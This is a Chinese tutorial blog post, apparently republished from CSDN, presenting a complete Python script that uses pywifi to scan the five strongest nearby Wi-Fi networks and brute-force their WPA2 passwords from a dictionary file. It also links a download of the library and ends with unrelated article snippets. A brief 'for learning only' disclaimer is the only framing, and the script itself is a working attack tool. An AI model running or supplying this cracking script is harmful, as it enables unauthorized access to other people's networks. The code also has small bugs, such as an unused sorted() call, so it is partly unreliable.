Python利用字典破解WIFI密码的方法
作者:wujinmei 发布时间:2022-08-08 17:18:44
标签:python,字典,破解,wifi密码
最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5
既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。
有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。
链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg
本地安装方法:
1)下载解压好以后,我们用cmd命令行,进入到你的文件目录
2)使用命令pip install . 注意了(install后面有个点)
3)然后就会安装了,等一会就可以了。
程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。
import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
wifi=pywifi.PyWiFi()#抓取网卡接口
ifaces=wifi.interfaces()[0]#获取网卡
ifaces.scan()
time.sleep(8)
bessis = ifaces.scan_results()
list = []
for data in bessis:
if(data.ssid not in namelist): #去掉重复的WIFI名称
namelist.append(data.ssid)
list.append((data.ssid, data.signal))
sorted(list, key=lambda st: st[1], reverse=True)
time.sleep(1)
n=0
if len(list) is not 0:
for item in list:
if(item[0] not in ssidlist):
n=n+1
if n<=wificount:
ssidlist.append(item[0])
print(ssidlist)
def testwifi(ssidname,password):
wifi=pywifi.PyWiFi()#抓取网卡接口
ifaces=wifi.interfaces()[0]#获取网卡
ifaces.disconnect()#断开无限网卡连接
profile=pywifi.Profile()#创建wifi连接文件
profile.ssid=ssidname#定义wifissid
profile.auth=const.AUTH_ALG_OPEN#网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
profile.key=password #wifi密码
ifaces.remove_all_network_profiles()#删除其他所有配置文件
tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
ifaces.connect(tmp_profile)#连接wifi
time.sleep(5)#5秒内能否连接上
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
#print("[-]WiFi connection failure!")
return False
#ifaces.disconnect()#断开连接
#time.sleep(1)
return True
def main():
getwifi()
#ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
if(len(ssidlist) is not 0):
path=r"password.txt"
files=open(path,'r')
while True:
if(len(ssidlist) is 0):
break
try:
password =files.readline()
password=password.strip('\n')
if not password:
break
for item in result: #把已经找到密码的WIFI从查询中删除。
ssidlist.remove(item[0])
for ssidname in ssidlist:
if(testwifi(ssidname,password)==True):
result.append((ssidname,password)) #把找到的WIFI密码保存起来
print('Succ','Current WifiName:',ssidname,'Current Password:',password)
else:
print('Fail','Current WifiName:',ssidname,'Current Password:',password)
except:
continue
files.close()
print("\n","WIFI结果列表:")
for item in result: #把已经找到密码的WIFI从查询中删除。
print("")
print("无线:",item[0])
print("密码:",item[1])
else:
print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
main()
来源:https://blog.csdn.net/wujinmei/article/details/81288212


猜你喜欢
- 使用scipy.optimize模块的root和fsolve函数进行数值求解线性及非线性方程,下面直接贴上代码,代码很简单from scip
- TNS是Oracle Net的一部分,是专门用来管理和配置Oracle数据库和客户端连接的一个工具,在大多数情况下客户端和数据库要通讯,就必
- 该方是基于uiautomator2如下版本进行验证的:PS C:\windows\system32> pip show uiautom
- 要找到最早的活动事务,可以使用DBCC OPENTRAN命令。详细用法见MSDN:http://msdn.microsoft.com/zh-
- 在vue项目中需要监听window窗口变化来时时计算图片的高度,于是就加了一个监听事件;确实监听到了,但是在离开当前页面进入其他页面改变窗口
- 前言废话不多说,直接开造。这里的话我们有两个目标,第一个是如何把一个2维图片上的点映射到3维空间。第二就是如何生成3D点云。当然实际上这是一
- 前言因为Python的水平目前一直是处于能用阶段,平时写的脚本使用的Python的写法也比较的简单,没有写过稍微大一点的项目。对Python
- 1. 引言因为在学习遗传算法路径规划的内容,其中遗传算法中涉及到了种群的初始化,而在路径规划的种群初始化中,种群初始化就是先找到一条条从起点
- 一、Flask蓝图目录我们之前写的Flask项目都是自己组织的目录结构,其实Flask官方有其推荐的目录结构,以下就是一个符合官方推荐的Fl
- 前言上次查看了微信好友的位置信息,想了想,还是不过瘾,于是就琢磨起了把微信好友的个性签名拿到,然后分词,接着分析词频,最后弄出词云图来。1.
- 本文实例为大家分享了python获取本机所有IP地址的具体代码,供大家参考,具体内容如下import socket# 查看当前主机名prin
- 前言本文讲诉了Vuex的安装、搭建。以及Actions、Mutations、State、Getters的使用,为什么使用mapState、m
- <?php $url='test.php?1=1'; $contents="fjka;fjsa;#page#
- 在应用系统开发初期,由于开发数据库数据比较少,对于查询SQL语句,复杂视图的编写,刚开始不会体会出SQL语句各种写法的性能优劣,但是如果将应
- 在http规则中用404来表示某个页面不能访问,一般来说,网站的404错误页面都是IIS或APACHE默认的页面,千篇一律,非常单调。由于可
- context 有什么作用context 主要用来在goroutine 之间传递上下文信息,包括:取消信号、超时时间、截止时间、k-v 等。
- 实例如下:import os if __name__ == "__main__": file_path =
- 最近刚学习数据库,首先是了解数据库是什么,数据库、数据表的基本操作,这就面临了一个问题,mysql的安装,我这里下载的是64位的,基于Win
- 对于MySQL数据库,如果你要使用事务以及行级锁就必须使用INNODB引擎。如果你要使用全文索引,那必须使用myisam。 INNODB的实
- 创建RandomWalk类为模拟随机漫步,我们将创建一个RandomWalk类,随机选择前进方向,这个类有三个属性,一个存储随机漫步的次数,